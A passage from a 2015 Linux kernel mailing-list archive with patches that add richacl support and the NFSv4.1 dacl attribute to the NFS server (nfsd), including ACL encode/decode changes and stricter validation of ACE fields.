nfsd4_decode_fattr(struct nfsd4_compoundargs *argp, u32 *bmval, - struct iattr *iattr, struct nfs4_acl **acl, + struct iattr *iattr, struct richacl **acl, struct xdr_netobj *label) { int expected_len, len = 0; @@ -326,38 +326,31 @@ nfsd4_decode_fattr(struct nfsd4_compoundargs *argp, u32 *bmval, } if (bmval[0] & FATTR4_WORD0_ACL) { u32 nace; - struct nfs4_ace *ace; + struct richace *ace; READ_BUF(4); len += 4; nace = be32_to_cpup(p++); - if (nace > NFS4_ACL_MAX) + if (nace > NFSD4_ACL_MAX) return nfserr_fbig; - *acl = svcxdr_tmpalloc(argp, nfs4_acl_bytes(nace)); + *acl = svcxdr_alloc_richacl(argp, nace); if (*acl == NULL) return nfserr_jukebox; - (*acl)->naces = nace; - for (ace = (*acl)->aces; ace < (*acl)->aces + nace; ace++) { + richacl_for_each_entry(ace, *acl) { READ_BUF(16); len += 16; - ace->type = be32_to_cpup(p++); - ace->flag = be32_to_cpup(p++); - ace->access_mask = be32_to_cpup(p++); + ace->e_type = be32_to_cpup(p++); + ace->e_flags = be32_to_cpup(p++); + ace->e_mask = be32_to_cpup(p++); + if (ace->e_flags & RICHACE_SPECIAL_WHO) + return nfserr_inval; dummy32 = be32_to_cpup(p++); READ_BUF(dummy32); len += XDR_QUADLEN(dummy32) << 2; READMEM(buf, dummy32); - ace->whotype = nfs4_acl_get_whotype(buf, dummy32); - status = nfs_ok; - if (ace->whotype != NFS4_ACL_WHO_NAMED) - ; - else if (ace->flag & NFS4_ACE_IDENTIFIER_GROUP) - status = nfsd_map_name_to_gid(argp->rqstp, - buf, dummy32, &ace->who_gid); - else - status = nfsd_map_name_to_uid(argp->rqstp, - buf, dummy32, &ace->who_uid); + status = nfsd4_decode_ace_who(ace, argp->rqstp, + buf, dummy32); if (status) return status; } @@ -2148,18 +2141,6 @@ static u32 nfs4_file_type(umode_t mode) } static inline __be32 -nfsd4_encode_aclname(struct xdr_stream *xdr, struct svc_rqst *rqstp, - struct nfs4_ace *ace) -{ - if (ace->whotype != NFS4_ACL_WHO_NAMED) - return nfs4_acl_write_who(xdr, ace->whotype); - else if (ace->flag & NFS4_ACE_IDENTIFIER_GROUP) - return nfsd4_encode_group(xdr, rqstp, ace->who_gid); - else - return nfsd4_encode_user(xdr, rqstp, ace->who_uid); -} - -static inline __be32 nfsd4_encode_layout_type(struct xdr_stream *xdr, enum pnfs_layouttype layout_type) { __be32 *p; @@ -2303,7 +2284,7 @@ nfsd4_encode_fattr(struct xdr_stream *xdr, struct svc_fh *fhp, u32 rdattr_err = 0; __be32 status; int err; - struct nfs4_acl *acl = NULL; + struct richacl *acl = NULL; void *context = NULL; int contextlen; bool contextsupport = false; @@ -2349,7 +2330,7 @@ nfsd4_encode_fattr(struct xdr_stream *xdr, struct svc_fh *fhp, fhp = tempfh; } if (bmval0 & FATTR4_WORD0_ACL) { - err = nfsd4_get_nfs4_acl(rqstp, dentry, &acl); + err = nfsd4_get_acl(rqstp, dentry, &acl); if (err == -EOPNOTSUPP) bmval0 &= ~FATTR4_WORD0_ACL; else if (err == -EINVAL) { @@ -2504,7 +2485,7 @@ nfsd4_encode_fattr(struct xdr_stream *xdr, struct svc_fh *fhp, *p++ = cpu_to_be32(rdattr_err); } if (bmval0 & FATTR4_WORD0_ACL) { - struct nfs4_ace *ace; + struct richace *ace; if (acl == NULL) { p = xdr_reserve_space(xdr, 4); @@ -2517,17 +2498,16 @@ nfsd4_encode_fattr(struct xdr_stream *xdr, struct svc_fh *fhp, p = xdr_reserve_space(xdr, 4); if (!p) goto out_resource; - *p++ = cpu_to_be32(acl->naces); + *p++ = cpu_to_be32(acl->a_count); - for (ace = acl->aces; ace < acl->aces + acl->naces; ace++) { + richacl_for_each_entry(ace, acl) { p = xdr_reserve_space(xdr, 4*3); if (!p) goto out_resource; - *p++ = cpu_to_be32(ace->type); - *p++ = cpu_to_be32(ace->flag); - *p++ = cpu_to_be32(ace->access_mask & - NFS4_ACE_MASK_ALL); - status = nfsd4_encode_aclname(xdr, rqstp, ace); + *p++ = cpu_to_be32(ace->e_type); + *p++ = cpu_to_be32(ace->e_flags & ~RICHACE_SPECIAL_WHO); + *p++ = cpu_to_be32(ace->e_mask & NFS4_ACE_MASK_ALL); + status = nfsd4_encode_ace_who(xdr, rqstp, ace); if (status) goto out; } @@ -2792,7 +2772,7 @@ out: if (context) security_release_secctx(context, contextlen); #endif /* CONFIG_NFSD_V4_SECURITY_LABEL */ - kfree(acl); + richacl_put(acl); if (tempfh) { fh_put(tempfh); kfree(tempfh); diff --git a/fs/nfsd/xdr4.h b/fs/nfsd/xdr4.h index b698585..c311066 100644 --- a/fs/nfsd/xdr4.h +++ b/fs/nfsd/xdr4.h @@ -118,7 +118,7 @@ struct nfsd4_create { u32 cr_bmval[3]; /* request */ struct iattr cr_iattr; /* request */ struct nfsd4_change_info cr_cinfo; /* response */ - struct nfs4_acl *cr_acl; + struct richacl *cr_acl; struct xdr_netobj cr_label; }; #define cr_datalen u.link.datalen @@ -248,7 +248,7 @@ struct nfsd4_open { struct nfs4_file *op_file; /* used during processing */ struct nfs4_ol_stateid *op_stp; /* used during processing */ struct nfs4_clnt_odstate *op_odstate; /* used during processing */ - struct nfs4_acl *op_acl; + struct richacl *op_acl; struct xdr_netobj op_label; }; @@ -332,7 +332,7 @@ struct nfsd4_setattr { stateid_t sa_stateid; /* request */ u32 sa_bmval[3]; /* request */ struct iattr sa_iattr; /* request */ - struct nfs4_acl *sa_acl; + struct richacl *sa_acl; struct xdr_netobj sa_label; }; diff --git a/include/linux/nfs4.h b/include/linux/nfs4.h index 00121f2..1422fc6 100644 --- a/include/linux/nfs4.h +++ b/include/linux/nfs4.h @@ -16,29 +16,6 @@ #include #include -enum nfs4_acl_whotype { - NFS4_ACL_WHO_NAMED = 0, - NFS4_ACL_WHO_OWNER, - NFS4_ACL_WHO_GROUP, - NFS4_ACL_WHO_EVERYONE, -}; - -struct nfs4_ace { - uint32_t type; - uint32_t flag; - uint32_t access_mask; - int whotype; - union { - kuid_t who_uid; - kgid_t who_gid; - }; -}; - -struct nfs4_acl { - uint32_t naces; - struct nfs4_ace aces[0]; -}; - #define NFS4_MAXLABELLEN 2048 struct nfs4_label { diff --git a/include/linux/nfs4acl.h b/include/linux/nfs4acl.h new file mode 100644 index 0000000..db9f9a6 --- /dev/null +++ b/include/linux/nfs4acl.h @@ -0,0 +1,7 @@ +#ifndef __LINUX_NFS4ACL_H +#define __LINUX_NFS4ACL_H + +int nfs4acl_who_to_special_id(const char *, u32); +bool nfs4acl_special_id_to_who(unsigned int, const char **, unsigned int *); + +#endif -- 2.5.0 From andreas.gruenbacher@gmail.com Sun Oct 11 18:03:16 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 5314829E0F for ; Sun, 11 Oct 2015 18:03:16 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 33CCB304048 for ; Sun, 11 Oct 2015 16:03:16 -0700 (PDT) X-ASG-Debug-ID: 1444604594-04cb6c578aa7c90001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id 74dGAaowqcZgKgdY (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Sun, 11 Oct 2015 16:03:14 -0700 (PDT) X-Barracuda-Envelope-From: andreas.gruenbacher@gmail.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx13.intmail.prod.int.phx2.redhat.com (int-mx13.intmail.prod.int.phx2.redhat.com [10.5.11.26]) by mx1.redhat.com (Postfix) with ESMTPS id E807B8EA43; Sun, 11 Oct 2015 23:03:13 +0000 (UTC) Received: from nuc.home.com (vpn1-7-138.ams2.redhat.com [10.36.7.138]) by int-mx13.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9BMx36x016614; Sun, 11 Oct 2015 19:03:07 -0400 From: Andreas Gruenbacher To: Alexander Viro , "Theodore Ts'o" , Andreas Dilger , "J. Bruce Fields" , Jeff Layton , Trond Myklebust , Anna Schumaker , Dave Chinner , linux-ext4@vger.kernel.org, xfs@oss.sgi.com, linux-kernel@vger.kernel.org, linux-fsdevel@vger.kernel.org, linux-nfs@vger.kernel.org, linux-cifs@vger.kernel.org, linux-api@vger.kernel.org Cc: Andreas Gruenbacher Subject: [PATCH v10 35/46] nfsd: Add richacl support Date: Mon, 12 Oct 2015 00:58:46 +0200 X-ASG-Orig-Subj: [PATCH v10 35/46] nfsd: Add richacl support Message-Id: <1444604337-17651-36-git-send-email-andreas.gruenbacher@gmail.com> In-Reply-To: <1444604337-17651-1-git-send-email-andreas.gruenbacher@gmail.com> References: <1444604337-17651-1-git-send-email-andreas.gruenbacher@gmail.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.26 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1444604594 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 From: Andreas Gruenbacher On file systems with richacls enabled, get and set richacls directly instead of converting from / to posix acls. Signed-off-by: Andreas Gruenbacher Acked-by: J. Bruce Fields --- fs/nfsd/acl.h | 3 +- fs/nfsd/nfs4acl.c | 124 ++++++++++++++++++++++++++++++++++++++--------------- fs/nfsd/nfs4proc.c | 2 +- fs/nfsd/nfs4xdr.c | 34 +++++++++++---- 4 files changed, 117 insertions(+), 46 deletions(-) diff --git a/fs/nfsd/acl.h b/fs/nfsd/acl.h index 1c5deb5..d73c664 100644 --- a/fs/nfsd/acl.h +++ b/fs/nfsd/acl.h @@ -53,8 +53,7 @@ __be32 nfsd4_decode_ace_who(struct richace *ace, struct svc_rqst *rqstp, __be32 nfsd4_encode_ace_who(struct xdr_stream *xdr, struct svc_rqst *rqstp, struct richace *ace); -int nfsd4_get_acl(struct svc_rqst *rqstp, struct dentry *dentry, - struct richacl **acl); +struct richacl *nfsd4_get_acl(struct svc_rqst *rqstp, struct dentry *dentry); __be32 nfsd4_set_acl(struct svc_rqst *rqstp, struct svc_fh *fhp, struct richacl *acl); diff --git a/fs/nfsd/nfs4acl.c b/fs/nfsd/nfs4acl.c index 6d3bb72..f017a76 100644 --- a/fs/nfsd/nfs4acl.c +++ b/fs/nfsd/nfs4acl.c @@ -40,6 +40,8 @@ #include #include #include +#include +#include #include "nfsfh.h" #include "nfsd.h" @@ -129,32 +131,28 @@ static short ace2type(struct richace *); static void _posix_to_richacl_one(struct posix_acl *, struct richacl_alloc *, unsigned int); -int -nfsd4_get_acl(struct svc_rqst *rqstp, struct dentry *dentry, - struct richacl **acl) +static struct richacl * +nfsd4_get_posix_acl(struct svc_rqst *rqstp, struct dentry *dentry) { struct inode *inode = d_inode(dentry); - int error = 0; struct posix_acl *pacl = NULL, *dpacl = NULL; struct richacl_alloc alloc; unsigned int flags = 0; int count; pacl = get_acl(inode, ACL_TYPE_ACCESS); - if (!pacl) - pacl = posix_acl_from_mode(inode->i_mode, GFP_KERNEL); - - if (IS_ERR(pacl)) - return PTR_ERR(pacl); + if (IS_ERR_OR_NULL(pacl)) + return (void *)pacl; - /* allocate for worst case: one (deny, allow) pair each: */ + /* Allocate for worst case: one (deny, allow) pair each. The resulting + acl will be released shortly and won't be cached. */ count = 2 * pacl->a_count; if (S_ISDIR(inode->i_mode)) { flags = FLAG_DIRECTORY; dpacl = get_acl(inode, ACL_TYPE_DEFAULT); if (IS_ERR(dpacl)) { - error = PTR_ERR(dpacl); + alloc.acl = (void *)dpacl; goto rel_pacl; } @@ -163,7 +161,7 @@ nfsd4_get_acl(struct svc_rqst *rqstp, struct dentry *dentry, } if (!richacl_prepare(&alloc, count)) { - error = -ENOMEM; + alloc.acl = ERR_PTR(-ENOMEM); goto out; } @@ -172,13 +170,37 @@ nfsd4_get_acl(struct svc_rqst *rqstp, struct dentry *dentry, if (dpacl) _posix_to_richacl_one(dpacl, &alloc, flags | FLAG_DEFAULT_ACL); - *acl = alloc.acl; - out: posix_acl_release(dpacl); rel_pacl: posix_acl_release(pacl); - return error; + return alloc.acl; +} + +struct richacl * +nfsd4_get_acl(struct svc_rqst *rqstp, struct dentry *dentry) +{ + struct inode *inode = d_inode(dentry); + struct richacl *acl; + int error; + + if (IS_RICHACL(inode)) + acl = get_richacl(inode); + else + acl = nfsd4_get_posix_acl(rqstp, dentry); + if (IS_ERR(acl)) + return acl; + else if (acl == NULL) { + acl = richacl_from_mode(inode->i_mode); + if (acl == NULL) + acl = ERR_PTR(-ENOMEM); + } + error = richacl_apply_masks(&acl, inode->i_uid); + if (error) { + richacl_put(acl); + acl = ERR_PTR(error); + } + return acl; } struct posix_acl_summary { @@ -744,56 +766,88 @@ out_estate: return ret; } -__be32 -nfsd4_set_acl(struct svc_rqst *rqstp, struct svc_fh *fhp, struct richacl *acl) +static int +nfsd4_set_posix_acl(struct svc_rqst *rqstp, struct dentry *dentry, + struct richacl *acl) { - __be32 error; int host_error; - struct dentry *dentry; - struct inode *inode; + struct inode *inode = d_inode(dentry); struct posix_acl *pacl = NULL, *dpacl = NULL; unsigned int flags = 0; - /* Get inode */ - error = fh_verify(rqstp, fhp, 0, NFSD_MAY_SATTR); - if (error) - return error; - - dentry = fhp->fh_dentry; - inode = d_inode(dentry); - if (!inode->i_op->set_acl || !IS_POSIXACL(inode)) - return nfserr_attrnotsupp; + return -EOPNOTSUPP; if (S_ISDIR(inode->i_mode)) flags = FLAG_DIRECTORY; host_error = nfs4_richacl_to_posix(acl, &pacl, &dpacl, flags); if (host_error == -EINVAL) - return nfserr_attrnotsupp; + return -EOPNOTSUPP; if (host_error < 0) - goto out_nfserr; + return host_error; host_error = inode->i_op->set_acl(inode, pacl, ACL_TYPE_ACCESS); if (host_error < 0) goto out_release; - if (S_ISDIR(inode->i_mode)) { + if (S_ISDIR(inode->i_mode)) host_error = inode->i_op->set_acl(inode, dpacl, ACL_TYPE_DEFAULT); - } out_release: posix_acl_release(pacl); posix_acl_release(dpacl); -out_nfserr: + return host_error; +} + +static int +nfsd4_set_richacl(struct svc_rqst *rqstp, struct dentry *dentry, + struct richacl *acl) +{ + int host_error; + struct inode *inode = d_inode(dentry); + size_t size = richacl_xattr_size(acl); + char *buffer; + + if (!inode->i_op->setxattr || !IS_RICHACL(inode)) + return -EOPNOTSUPP; + + richacl_compute_max_masks(acl); + + buffer = kmalloc(size, GFP_KERNEL); + if (!buffer) + return -ENOMEM; + richacl_to_xattr(&init_user_ns, acl, buffer, size); + host_error = inode->i_op->setxattr(dentry, XATTR_NAME_RICHACL, + buffer, size, 0); + kfree(buffer); + return host_error; +} + +__be32 +nfsd4_set_acl(struct svc_rqst *rqstp, struct svc_fh *fhp, struct richacl *acl) +{ + struct dentry *dentry; + int host_error; + __be32 error; + + error = fh_verify(rqstp, fhp, 0, NFSD_MAY_SATTR); + if (error) + return error; + dentry = fhp->fh_dentry; + + if (IS_RICHACL(d_inode(dentry))) + host_error = nfsd4_set_richacl(rqstp, dentry, acl); + else + host_error = nfsd4_set_posix_acl(rqstp, dentry, acl); + if (host_error == -EOPNOTSUPP) return nfserr_attrnotsupp; else return nfserrno(host_error); } - static short ace2type(struct richace *ace) { diff --git a/fs/nfsd/nfs4proc.c b/fs/nfsd/nfs4proc.c index 2430235..1bcfda2 100644 --- a/fs/nfsd/nfs4proc.c +++ b/fs/nfsd/nfs4proc.c @@ -110,7 +110,7 @@ check_attr_support(struct svc_rqst *rqstp, struct nfsd4_compound_state *cstate, * in current environment or not. */ if (bmval[0] & FATTR4_WORD0_ACL) { - if (!IS_POSIXACL(d_inode(dentry))) + if (!IS_ACL(d_inode(dentry))) return nfserr_attrnotsupp; } diff --git a/fs/nfsd/nfs4xdr.c b/fs/nfsd/nfs4xdr.c index 8603f40..682a7d8 100644 --- a/fs/nfsd/nfs4xdr.c +++ b/fs/nfsd/nfs4xdr.c @@ -340,11 +340,24 @@ nfsd4_decode_fattr(struct nfsd4_compoundargs *argp, u32 *bmval, richacl_for_each_entry(ace, *acl) { READ_BUF(16); len += 16; - ace->e_type = be32_to_cpup(p++); - ace->e_flags = be32_to_cpup(p++); - ace->e_mask = be32_to_cpup(p++); - if (ace->e_flags & RICHACE_SPECIAL_WHO) + + dummy32 = be32_to_cpup(p++); + if (dummy32 > RICHACE_ACCESS_DENIED_ACE_TYPE) + return nfserr_inval; + ace->e_type = dummy32; + + dummy32 = be32_to_cpup(p++); + if (dummy32 & (~RICHACE_VALID_FLAGS | + RICHACE_INHERITED_ACE | + RICHACE_SPECIAL_WHO)) return nfserr_inval; + ace->e_flags = dummy32; + + dummy32 = be32_to_cpup(p++); + if (dummy32 & ~NFS4_ACE_MASK_ALL) + return nfserr_inval; + ace->e_mask = dummy32; + dummy32 = be32_to_cpup(p++); READ_BUF(dummy32); len += XDR_QUADLEN(dummy32) << 2; @@ -2330,7 +2343,11 @@ nfsd4_encode_fattr(struct xdr_stream *xdr, struct svc_fh *fhp, fhp = tempfh; } if (bmval0 & FATTR4_WORD0_ACL) { - err = nfsd4_get_acl(rqstp, dentry, &acl); + acl = nfsd4_get_acl(rqstp, dentry); + if (IS_ERR(acl)) { + err = PTR_ERR(acl); + acl = NULL; + } if (err == -EOPNOTSUPP) bmval0 &= ~FATTR4_WORD0_ACL; else if (err == -EINVAL) { @@ -2370,7 +2387,7 @@ nfsd4_encode_fattr(struct xdr_stream *xdr, struct svc_fh *fhp, u32 word1 = nfsd_suppattrs1(minorversion); u32 word2 = nfsd_suppattrs2(minorversion); - if (!IS_POSIXACL(dentry->d_inode)) + if (!IS_ACL(d_inode(dentry))) word0 &= ~FATTR4_WORD0_ACL; if (!contextsupport) word2 &= ~FATTR4_WORD2_SECURITY_LABEL; @@ -2505,7 +2522,8 @@ nfsd4_encode_fattr(struct xdr_stream *xdr, struct svc_fh *fhp, if (!p) goto out_resource; *p++ = cpu_to_be32(ace->e_type); - *p++ = cpu_to_be32(ace->e_flags & ~RICHACE_SPECIAL_WHO); + *p++ = cpu_to_be32(ace->e_flags & + ~(RICHACE_SPECIAL_WHO | RICHACE_INHERITED_ACE)); *p++ = cpu_to_be32(ace->e_mask & NFS4_ACE_MASK_ALL); status = nfsd4_encode_ace_who(xdr, rqstp, ace); if (status) @@ -2517,7 +2535,7 @@ out_acl: p = xdr_reserve_space(xdr, 4); if (!p) goto out_resource; - *p++ = cpu_to_be32(IS_POSIXACL(dentry->d_inode) ? + *p++ = cpu_to_be32(IS_ACL(d_inode(dentry)) ? ACL4_SUPPORT_ALLOW_ACL|ACL4_SUPPORT_DENY_ACL : 0); } if (bmval0 & FATTR4_WORD0_CANSETTIME) { -- 2.5.0 From andreas.gruenbacher@gmail.com Sun Oct 11 18:03:23 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 71BC229DFA for ; Sun, 11 Oct 2015 18:03:23 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 525EF304048 for ; Sun, 11 Oct 2015 16:03:23 -0700 (PDT) X-ASG-Debug-ID: 1444604601-04cbb05fbf3d6e0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id UEHsGEge4IQ7rkqs (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Sun, 11 Oct 2015 16:03:21 -0700 (PDT) X-Barracuda-Envelope-From: andreas.gruenbacher@gmail.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx13.intmail.prod.int.phx2.redhat.com (int-mx13.intmail.prod.int.phx2.redhat.com [10.5.11.26]) by mx1.redhat.com (Postfix) with ESMTPS id D9946C0C1B22; Sun, 11 Oct 2015 23:03:20 +0000 (UTC) Received: from nuc.home.com (vpn1-7-138.ams2.redhat.com [10.36.7.138]) by int-mx13.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9BMx370016614; Sun, 11 Oct 2015 19:03:14 -0400 From: Andreas Gruenbacher To: Alexander Viro , "Theodore Ts'o" , Andreas Dilger , "J. Bruce Fields" , Jeff Layton , Trond Myklebust , Anna Schumaker , Dave Chinner , linux-ext4@vger.kernel.org, xfs@oss.sgi.com, linux-kernel@vger.kernel.org, linux-fsdevel@vger.kernel.org, linux-nfs@vger.kernel.org, linux-cifs@vger.kernel.org, linux-api@vger.kernel.org Cc: Andreas Gruenbacher Subject: [PATCH v10 36/46] nfsd: Add support for the v4.1 dacl attribute Date: Mon, 12 Oct 2015 00:58:47 +0200 X-ASG-Orig-Subj: [PATCH v10 36/46] nfsd: Add support for the v4.1 dacl attribute Message-Id: <1444604337-17651-37-git-send-email-andreas.gruenbacher@gmail.com> In-Reply-To: <1444604337-17651-1-git-send-email-andreas.gruenbacher@gmail.com> References: <1444604337-17651-1-git-send-email-andreas.gruenbacher@gmail.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.26 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1444604601 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 From: Andreas Gruenbacher Richacls support the Automatic Inheritance permission propagation mechanism as specified in NFSv4.1. Over NFS, this requires support for the dacl attribute: compared to the acl attribute, the dacl attribute has an additional flags field which indicates when Automatic Inheritance is in use. The server will only indicate dacl attribute support in protocol version 4.1 and later, on file systems with richacl support. This commit also adds support for the NFSv4.1 NFS4_ACE_WRITE_RETENTION and NFS4_ACE_WRITE_RETENTION_HOLD ACL permissions. Signed-off-by: Andreas Gruenbacher Acked-by: J. Bruce Fields --- fs/nfsd/nfs4proc.c | 3 +- fs/nfsd/nfs4xdr.c | 219 ++++++++++++++++++++++++++++++---------------- fs/nfsd/nfsd.h | 6 +- include/linux/nfs4.h | 1 + include/uapi/linux/nfs4.h | 3 +- 5 files changed, 155 insertions(+), 77 deletions(-) diff --git a/fs/nfsd/nfs4proc.c b/fs/nfsd/nfs4proc.c index 1bcfda2..a053e78 100644 --- a/fs/nfsd/nfs4proc.c +++ b/fs/nfsd/nfs4proc.c @@ -1781,7 +1781,8 @@ static inline u32 nfsd4_getattr_rsize(struct svc_rqst *rqstp, u32 bmap0 = bmap[0], bmap1 = bmap[1], bmap2 = bmap[2]; u32 ret = 0; - if (bmap0 & FATTR4_WORD0_ACL) + if (bmap0 & FATTR4_WORD0_ACL || + bmap1 & FATTR4_WORD1_DACL) return svc_max_payload(rqstp); if (bmap0 & FATTR4_WORD0_FS_LOCATIONS) return svc_max_payload(rqstp); diff --git a/fs/nfsd/nfs4xdr.c b/fs/nfsd/nfs4xdr.c index 682a7d8..33d028c 100644 --- a/fs/nfsd/nfs4xdr.c +++ b/fs/nfsd/nfs4xdr.c @@ -301,6 +301,68 @@ nfsd4_decode_bitmap(struct nfsd4_compoundargs *argp, u32 *bmval) DECODE_TAIL; } +static unsigned int +nfsd4_ace_mask(int minorversion) +{ + return minorversion == 0 ? NFS40_ACE_MASK_ALL : NFS4_ACE_MASK_ALL; +} + +static __be32 +nfsd4_decode_acl_entries(struct nfsd4_compoundargs *argp, struct richacl **acl, + unsigned short flags_mask, unsigned int ace_mask, + int *plen) +{ + struct richace *ace; + u32 dummy32; + char *buf; + int len = 0; + + DECODE_HEAD; + + flags_mask &= RICHACE_VALID_FLAGS & ~RICHACE_SPECIAL_WHO; + + READ_BUF(4); len += 4; + dummy32 = be32_to_cpup(p++); + + if (dummy32 > NFSD4_ACL_MAX) + return nfserr_fbig; + + *acl = svcxdr_alloc_richacl(argp, dummy32); + if (*acl == NULL) + return nfserr_jukebox; + + richacl_for_each_entry(ace, *acl) { + READ_BUF(16); len += 16; + + dummy32 = be32_to_cpup(p++); + if (dummy32 > RICHACE_ACCESS_DENIED_ACE_TYPE) + return nfserr_inval; + ace->e_type = dummy32; + + dummy32 = be32_to_cpup(p++); + if (dummy32 & ~flags_mask) + return nfserr_inval; + ace->e_flags = dummy32; + + dummy32 = be32_to_cpup(p++); + if (dummy32 & ~ace_mask) + return nfserr_inval; + ace->e_mask = dummy32; + + dummy32 = be32_to_cpup(p++); + READ_BUF(dummy32); + len += XDR_QUADLEN(dummy32) << 2; + READMEM(buf, dummy32); + status = nfsd4_decode_ace_who(ace, argp->rqstp, + buf, dummy32); + if (status) + return status; + } + *plen += len; + + DECODE_TAIL; +} + static __be32 nfsd4_decode_fattr(struct nfsd4_compoundargs *argp, u32 *bmval, struct iattr *iattr, struct richacl **acl, @@ -312,6 +374,7 @@ nfsd4_decode_fattr(struct nfsd4_compoundargs *argp, u32 *bmval, DECODE_HEAD; iattr->ia_valid = 0; + *acl = NULL; if ((status = nfsd4_decode_bitmap(argp, bmval))) return status; @@ -325,50 +388,18 @@ nfsd4_decode_fattr(struct nfsd4_compoundargs *argp, u32 *bmval, iattr->ia_valid |= ATTR_SIZE; } if (bmval[0] & FATTR4_WORD0_ACL) { - u32 nace; - struct richace *ace; - - READ_BUF(4); len += 4; - nace = be32_to_cpup(p++); - - if (nace > NFSD4_ACL_MAX) - return nfserr_fbig; + if (bmval[1] & FATTR4_WORD1_DACL) + return nfserr_inval; - *acl = svcxdr_alloc_richacl(argp, nace); - if (*acl == NULL) + status = nfsd4_decode_acl_entries(argp, acl, + ~NFS4_ACE_INHERITED_ACE, + nfsd4_ace_mask(argp->minorversion), + &len); + if (status) + return status; + else if (*acl == NULL) return nfserr_jukebox; - - richacl_for_each_entry(ace, *acl) { - READ_BUF(16); len += 16; - - dummy32 = be32_to_cpup(p++); - if (dummy32 > RICHACE_ACCESS_DENIED_ACE_TYPE) - return nfserr_inval; - ace->e_type = dummy32; - - dummy32 = be32_to_cpup(p++); - if (dummy32 & (~RICHACE_VALID_FLAGS | - RICHACE_INHERITED_ACE | - RICHACE_SPECIAL_WHO)) - return nfserr_inval; - ace->e_flags = dummy32; - - dummy32 = be32_to_cpup(p++); - if (dummy32 & ~NFS4_ACE_MASK_ALL) - return nfserr_inval; - ace->e_mask = dummy32; - - dummy32 = be32_to_cpup(p++); - READ_BUF(dummy32); - len += XDR_QUADLEN(dummy32) << 2; - READMEM(buf, dummy32); - status = nfsd4_decode_ace_who(ace, argp->rqstp, - buf, dummy32); - if (status) - return status; - } - } else - *acl = NULL; + } if (bmval[1] & FATTR4_WORD1_MODE) { READ_BUF(4); len += 4; @@ -436,6 +467,22 @@ nfsd4_decode_fattr(struct nfsd4_compoundargs *argp, u32 *bmval, goto xdr_error; } } + if (bmval[1] & FATTR4_WORD1_DACL) { + READ_BUF(4); + len += 4; + dummy32 = be32_to_cpup(p++); + if (dummy32 & (~RICHACL_VALID_FLAGS | RICHACL_MASKED)) + return nfserr_inval; + status = nfsd4_decode_acl_entries(argp, acl, + ~0, + nfsd4_ace_mask(argp->minorversion), + &len); + if (status) + return status; + else if (*acl == NULL) + return nfserr_jukebox; + (*acl)->a_flags = dummy32; + } label->len = 0; #ifdef CONFIG_NFSD_V4_SECURITY_LABEL @@ -2272,6 +2319,42 @@ out_resource: return nfserr_resource; } +static __be32 nfsd4_encode_acl_entries(struct xdr_stream *xdr, + struct richacl *acl, struct svc_rqst *rqstp, + unsigned short flags_mask, unsigned int ace_mask) +{ + __be32 *p; + + flags_mask &= ~RICHACE_SPECIAL_WHO; + + p = xdr_reserve_space(xdr, 4); + if (!p) + return nfserr_resource; + + if (acl == NULL) { + *p++ = cpu_to_be32(0); + } else { + struct richace *ace; + + *p++ = cpu_to_be32(acl->a_count); + + richacl_for_each_entry(ace, acl) { + __be32 status; + + p = xdr_reserve_space(xdr, 4*3); + if (!p) + return nfserr_resource; + *p++ = cpu_to_be32(ace->e_type); + *p++ = cpu_to_be32(ace->e_flags & flags_mask); + *p++ = cpu_to_be32(ace->e_mask & ace_mask); + status = nfsd4_encode_ace_who(xdr, rqstp, ace); + if (status) + return status; + } + } + return 0; +} + /* * Note: @fhp can be NULL; in this case, we might have to compose the filehandle * ourselves. @@ -2342,15 +2425,16 @@ nfsd4_encode_fattr(struct xdr_stream *xdr, struct svc_fh *fhp, goto out; fhp = tempfh; } - if (bmval0 & FATTR4_WORD0_ACL) { + if ((bmval0 & FATTR4_WORD0_ACL) || (bmval1 & FATTR4_WORD1_DACL)) { acl = nfsd4_get_acl(rqstp, dentry); if (IS_ERR(acl)) { err = PTR_ERR(acl); acl = NULL; } - if (err == -EOPNOTSUPP) + if (err == -EOPNOTSUPP) { bmval0 &= ~FATTR4_WORD0_ACL; - else if (err == -EINVAL) { + bmval1 &= ~FATTR4_WORD1_DACL; + } else if (err == -EINVAL) { status = 